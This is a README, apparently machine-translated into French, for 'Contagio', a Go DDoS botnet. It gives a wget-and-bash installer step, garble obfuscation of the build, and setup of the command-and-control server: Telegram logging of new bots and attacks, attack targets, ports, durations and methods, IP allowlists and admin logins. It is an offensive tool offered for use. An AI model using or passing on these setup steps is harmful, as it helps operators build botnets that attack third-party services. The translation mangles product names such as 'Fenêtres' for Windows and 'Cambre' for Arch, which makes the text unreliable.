Version fermée C++ : https://github.com/TryZeroOne/Contagio-closed
Contagio est un botnet écrit en go. Ceci est une version bêta donc il peut y avoir des bugs. Lisez la FAQ et la documentation avant de créer un problème. Ne croyez pas la propagande ukrainienne
Installation
Systèmes pris en charge
Documentation
FAQ
Dons
Os | Statut |
---|---|
Linux | |
Fenêtres | |
macOS |
Distribution Linux
Distribution | Statut |
---|---|
Cambre | |
Manjaro | |
Feutre | |
Centos | |
Ubuntu |
les informations système peuvent être trouvées dans les photos du dossier des ressources
Contagio a son propre installateur.
wget https://raw.githubusercontent.com/TryZeroOne/Contagio/main/installer/installer.sh -O installer.sh
bash installer.sh -[args]
Example: bash installer.sh -default
Args :
faire le ménage | installe contagio sans configurations ni thèmes préinstallés. |
défaut | installe contagio avec des configurations et des thèmes préinstallés. |
source ~/.bashrc
go install mvdan.cc/garble@latest
cd Contagio
go mod init contagio
go mod tidy
puis suivez les étapes de setup.txt
Guide d'installation bientôt...
Nom | Taper | Description |
---|---|---|
ImportTheme | Chaîne | Importe un thème. En savoir plus sur la personnalisation ici. |
CncServer | Chaîne | IP:PORT. Vous devez spécifier une adresse IP publique. Pour obtenir une adresse IP publique, entrez curl http://ip-api.com/json/?fields=query |
RootLogin | Chaîne | Connexion qui a accès aux commandes d'administration (addip, adduser, etc.). |
RELEASE_MODE | Booléen | Masque les journaux (nouveau bot connecté, bac envoyé, etc.). |
TelegramBotToken | Chaîne | Jeton de robot Telegram. |
TelegramChatId | Chaîne | Votre identifiant de télégramme/identifiant de chat. Obtenez une pièce d'identité. |
SaveLogsInFile | Booléen | Enregistrer les journaux dans un fichier ? |
SendLogsInTelegram | Booléen | Envoyer des journaux via le bot Telegram à une chaîne ou à des messages privés ? |
PrintLogsInTerminal | Booléen | Imprimer les journaux dans le terminal ? |
NewClientConnectedLog | Booléen | Activez la journalisation pour une nouvelle connexion à la CNC. |
NewClientConnectedFileName | Chaîne | Nom de fichier pour les journaux des nouvelles connexions. |
NewAttackStartedFileName | Chaîne | Nom de fichier pour les journaux des nouvelles attaques. |
AllowAllIps | Booléen | Autoriser toutes les adresses IP ? Si AllowAllIps=false, alors seules les adresses IP ajoutées via la commande addip pourront se connecter à la CNC. |
Les modules personnalisés ne peuvent être utilisés que dans le titre. Votre résultat d'écho sera affiché dans le titre. Les modules personnalisés comprennent :
[Modules.ModuleName]
Exec = "command to execute"
ExecEnv = "env"
ExecDir = "directory where the command is executed"
Seul Exec doit être spécifié. Si ExecDir n'est pas spécifié, il sera exécuté à partir du répertoire où la CNC est lancée.
Vous pouvez utiliser un thème vide ou un thème existant. Vous pouvez également utiliser des couleurs.
Nom | Taper | Variables | Description |
---|---|---|---|
[Journaux] | |||
NewClientConnectedTerminal | Chaîne | {ip} {login} {port} {date} | Le format du journal dans le terminal pour une nouvelle connexion. |
NewClientConnectedTelegram | Chaîne | {ip} {login} {port} {date} | Le format de journal dans Telegram pour une nouvelle connexion (vous pouvez utiliser le markdown). |
NewClientConnectedFile | Chaîne | {ip} {login} {port} {date} | Le format du journal dans un fichier pour une nouvelle connexion. |
NewAttackStartedTerminal | Chaîne | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | Le format du journal dans le terminal pour une nouvelle attaque. |
NewAttackStartedTelegram | Chaîne | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | Le format de journal dans Telegram pour une nouvelle attaque. |
NewAttackStartedFile | Chaîne | {ip} {login} {port} {date} {target} {target_port} {duration} {method} | Le format du journal dans un fichier pour une nouvelle attaque. |
[CNC] | |||
CmdPrompt | Chaîne | {login} | Invite de commande CNC. |
Banner | Chaîne (tableau) | Null | Bannière. |
HelpCommand | Chaîne | {command} {description} | Format de sortie de la commande d'aide. |
MethodsCommand | Chaîne | {name} {description} | Format de sortie de la commande méthodes. |
CustomMethodsEnabled | Booléen | Null | Activer les méthodes personnalisées ? |
CustomMethods | Chaîne (tableau) | Null | Méthodes personnalisées (activées lorsque CustomMethodsEnabled=true ). |
CustomHelpEnabled | Bool | Null | Activer l'aide personnalisée ? |
CustomHelp | Chaîne (tableau) | Null | Aide personnalisée (activée lorsque CustomHelpEnabled=true ). |
BotCount | Chaîne | {total} {bots} | Format de sortie de la commande Bots. |
NoBotsConnectedError | Chaîne | Null | Message d'erreur lors de l'exécution de la commande "bots" mais aucun bot n'est disponible. |
CommandSent | Chaîne | {bots} {id} | Sortie lorsque l’attaque est envoyée avec succès. |
UnknownCommandError | Chaîne | Null | Message d'erreur lorsque la commande est inconnue. |
InvalidCommandSyntaxError | Chaîne | {syntax} {example} | Message d'erreur lorsque la commande (méthode ddos) a une syntaxe incorrecte. |
NoActiveAttacksError | Chaîne | Null | Message d'erreur lorsqu'il n'y a aucune attaque active (commande en cours d'exécution). |
AttackIdNotFoundError | Chaîne | Null | Message d'erreur lorsque l'ID d'attaque n'est pas trouvé (commande kill). |
CommandExecuted | Chaîne | Null | Résultat lorsque la commande est exécutée avec succès. |
CommandInvalidSyntax | Chaîne | {syntax} {example} | Message d'erreur lorsque la commande a une syntaxe incorrecte. |
Title | Chaîne | {login} {cpu} {memory} {animation} {bots} | Titre CNC. |
[Authentifier] | |||
LoginPrompt | Chaîne | Null | Invite de connexion. |
PasswordPrompt | Chaîne | Null | Invite de mot de passe. |
AuthError | Chaîne | Null | Message d'erreur lorsque le mot de passe ou le login est incorrect. |
CaptchaPrompt | Chaîne | {code} | Invite Captcha. |
CaptchaError | Chaîne | Null | Message d'erreur lorsque le captcha est mal saisi. |
IpIsNotAllowedError | Chaîne | Null | Message d'erreur lorsque l'adresse IP n'est pas autorisée. |
Dans Contagio, des couleurs intégrées sont disponibles et vous pouvez également créer les vôtres.
Les couleurs doivent être écrites entre accolades. Par exemple,
CncPrompt = "{red}Hello{white} World: "
Pour créer votre propre couleur, vous devez utiliser des couleurs ANSI. Par exemple:
{custom(fg=ansi_code bg=ansi_code fgstyle=ansi_code)}
R : Essayez d’ajouter r à la fin de la ligne. Par exemple
PasswordPrompt = "Enter password: r"
Si cela ne fonctionne pas, créez un problème
R : Envoyez /newbot au bot @BotFather, puis répondez à ses questions et copiez le jeton (exemple de jeton : 1234545 : DDDDD__ASDADAHUQHHHI34I29I).
UN: